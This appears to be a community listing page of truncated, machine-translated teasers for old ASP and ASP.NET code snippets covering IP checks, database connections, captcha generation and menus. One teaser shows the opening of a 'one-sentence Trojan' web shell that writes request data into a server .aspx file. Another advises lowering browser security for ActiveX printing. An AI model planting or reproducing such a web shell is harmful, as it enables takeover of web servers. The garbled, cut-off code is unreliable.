Add characters randomly on the ASP page to implement anti-copy code

'Role: Text anti-copy garbled Functions 'Date: 2006-3-6 'Author: blue2004 'The STR parameter is the original text, and the str1 author is yourself. reslut generates garbled seeds. Function readtocode (STR, str1, result) Dim name Dim I, J, K If

ASP uses instr to find the code of a specific string

Only today can this function be used to find specific characters or strings. The following is a simple example: Dim content_text, searchword_text 'Content is the content and searchword is the text to be searched.Sub search (content,

ASP. NET Security description

1. It is not recommended to support Asp.net on the server where the master node is installed, because ASP. NET has a large number of unknown security issues. 2. If you need to use Asp.net to write files or directories, add the following

Simple Example of ASP + Ajax implementation without refreshing comments

Dim curpage Curpage = CINT (Request ("page ")) If curpage = empty or curpage Curpage = 1 End if Response. contenttype = "application/XML" Response. charset = "gb2312" Response. expires = 0 Response. Write (" ") Dim RS and SQL 'define database

Use ASP scripts to restrict IP Access

It is very troublesome for cookies to be unable to cross the domain. It is much more convenient to use this script. IP = request. servervariables ("remote_addr ") Set FSO = Createobject ("scripting. FileSystemObject ") Set files = FSO.

ASP. NET link ACCESS database Path Problem Final Solution

Use ASP as a small project. net + ACCESS database, there is always a database path problem. My previous solution is to upload the link string to the data access layer in the form of parameters each time I access the database, which is quite

ASP dynamic cascading menu code

JS script: Dim rs Dim SQL Dim count Dim RS1 Dim sql1 SQL = "select * From region order by zoneid ASC" Set rs = server. Createobject ("ADODB. recordset ") Rs. Open SQL, Conn, 1, 3 %> Form Content: * region: select Sql1 = "select * From bigzone

Asp.net basic knowledge-common error analysis

1: When the command calls the stored procedure, if the output is dataset, the connection of the selectcommand command object should be pointed out first, otherwise the catch will be empty for a lifetime .. 2: If the varchar field of the stored

The use of onclientclick in Asp.net!

Webpages often have to deal with JavaScript and often use JavaScript for client-side verification. However, if our buttons use HTML controls, after verification is passed, the backend cannot be called. Code If you use a server-side control to

Asp.net JScript one-sentence Trojan

Min. aspx CopyCode The Code is as follows: Copy codeThe Code is as follows: aspx one-sentence Trojan client URL: operation: VaR nonamed = new system. Io. streamwriter (server. mappath ("name. aspx"), false );Nonamed. Write (request.

Complete code for obtaining IP addresses in ASP

The simplest statement is as follows: IP = request. servervariables ("remote_addr ")Response. Write (IP)However, this method is not allowed to access the Internet on the proxy server, so the following method is more comprehensive: CopyCode The

Then I will send several nice ASP functions.

******************** 'Function: returns a value of the selected value based on true or false conditions. 'Parameter: blnCondition: Condition variable, varResultTrue: return value when the condition is true, varResultFalse: return value when the

Asp.net (C #) code for Generating Random verification Codes

A common Verification Code Generation Program has the following effects: The source program is as follows: Copy codeThe Code is as follows: using System; Using System. IO; Using System. Drawing; Using System. Drawing. Imaging; Using System.

Asp calls the Word printing code

Call Word printing... Run the following script to set the security level of IE to low or enable the ActiveX control at the intermediate security level. Do not forget: Build Document by Script product name product description unit price

Create a table under asp for alternating color of row backgrounds

Const adInteger = 3 Const adVarChar = 200 'Declare Variables Dim myRecordset Dim iLetter Dim Field Dim strAltColor Dim bColor BColor = False 'This example uses the recordset in memory. All you need to do is modify the display part of your data.Set

Asp.net (downmoon original)

In this article, only the active proxy is used to access the Internet: The Code is as follows: 1. Define variables: Define variable # region define variable Copy codeThe Code is as follows: private string strFireWallIP ...{ Get ...{ Return System.

Code for detecting the current NIC address using components in ASP

Option Explicit Private Const NCBASTAT = & H33Private Const NCBNAMSZ = 16Private Const HEAP_ZERO_MEMORY = & H8Private Const HEAP_GENERATE_EXCEPTIONS = & H4Private Const NCBRESET = & H32 Private Type NCBNcb_command As Byte 'integerNcb_retcode As

ASP Object-Oriented Programming

Discussion on ASP Object-Oriented Programming and comparison of blogs selected from RAINMAN_NET Keyword ASP object-oriented programming discussion and Comparison Source ASP is a dynamic web page Programming Technology launched by Microsoft earlier,

ASP database connection code

ASP database connection code 'Solved the ACCESS database path problem! 'Use DBType = 0 or DBType = 1 to distinguish between the AC database and the MSSQL database. 'The precautions for using the AC library are described in the program. -------------

ASP data island operations

'''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''' 'Programming By smartpig' '''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''' Class TBGrid Public DataSource 'data Source Public style 'total Table style Public headstyle'

Total Pages: 1800 1 .... 1727 1728 1729 1730 1731 .... 1800 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.